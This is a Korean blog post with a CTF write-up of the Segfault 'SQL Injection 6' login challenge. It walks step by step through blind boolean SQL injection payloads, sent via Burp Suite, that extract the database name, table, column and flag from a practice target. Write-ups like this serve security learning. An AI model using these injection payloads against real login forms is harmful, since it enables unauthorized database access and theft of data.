상세 컨텐츠

본문 제목

Segfault CTF - (7주 차) SQL Injection 6

컴퓨터/보안 - CTF문제

by 디멘터 2024. 6. 5. 19:21

본문

※ 주의 : 보안 관련 학습은 자유이지만, 학습 내용을 사용한 경우 법적 책임은 행위자에게 있습니다.
(Note: Security-related learning is allowed, but the individual is solely responsible for any legal consequences arising from the use of the acquired knowledge.)

 


※ CTF - Capture The Flag

※ 문제 푸는 방법이 다양할 수도 있습니다.


SegFault CTF - SQL Injection 6

 

1. 목표 : Flag Find

 

2. 실행

→ SQL Injection 근거로 찾아가봅니다.

 ID에 1' or extractvalue('1', concat(':', database() )) # 와 PW에는 아무 값이나 입력하니 안되었다.

 

ID에 normaltic' and (ascii(substr(database(),1,1))>0)# PW에 1234를 입력하니 로그인이 되었다.

 올 것이 온 것 같다. 블라인드 SQL인젝션이다.

 

Blind SQLi 공격포맷 정립

ID입력란에 normaltic' and (ascii(substr((SQL구문),1,1))>아스키코드 숫자)#

PW입력란에 1234

→ 입력이 불편하니 Burp Suite로 했다.

로그인이 성공하면 리스폰스에 302가 뜨고, 실패하면 200이 떠서 match 옵션을 넣으면 보기가 조금 편해진다.

16번 리퀘스트에 파라미터를 넣고 일일히 넣어보았다.

 

 1단계 DB이름 

UserId=normaltic' and (ascii(substr(database(),1,1))>97)#&Password=1234&Submit=Login // 로그인 성공

→ ASCII 값으로 115, 113, 108, 105, 95, 51이 나왔다. 

SELECT CHAR ( 115, 113, 108, 105, 95, 51 ) 쿼리를 넣으면 나온다.

DB이름은 sqli_3

 

2단계 Table 이름 

SELECT table_name from information_schema.tables WHERE table_schema='sqli_3' limit 0,1 

UserId=normaltic' and (ascii(substr((SELECT table_name from information_schema.tables WHERE table_schema='sqli_3' limit 0,1),1,1))>97)#&Password=1234&Submit=Login // 로그인 성공

ASCII 값으로 102, 108, 97, 103, 95, 116,98, 108, 101 이 나왔다. 

SELECT CHAR (102,108,97,103,95, 116, 97, 98,108,101) 쿼리를 넣어보니 flag_table이었다.

첫 번째 테이블 이름 flag_table

 

3단계 flag_table의 COLUMN 이름

→ SELECT column_name from information_schema.columns  WHERE table_schema='sqli_3' and table_name='flag_table'

UserId=normaltic' and (ascii(substr((SELECT column_name from information_schema.columns  WHERE table_schema='sqli_3' and table_name='flag_table' limit 0,1),1,1))>0)#&Password=1234&Submit=Login // 로그인 성공

 ASCII 값으로 102,108,97,103 이 나왔다. 

속성 이름은 1개였고 flag였다.

 

 4단계 값 알아내기

→ UserId=normaltic' and (ascii(substr((SELECT flag from sqli_3.flag_table limit 0,1),1,1))>0)#&Password=1234&Submit=Login

값의 개수는 하나였다. segfault{로 시작할 것으로 예상되어서 바로 입력했다.

UserId=normaltic' and (substr((SELECT flag from sqli_3.flag_table),1,9)='segfault{')#&Password=1234&Submit=Login // 로그인이 되었다. segfault{는 바로 알아냈고 뒷 부분을 알아내면 된다.

다만 특이하게 문자열 비교에서는 대소문자 구분이 없어서 아스키 코드로 대소문자를 확인해야 한다.

25글자인 플래그를 획득했다.

관련글 더보기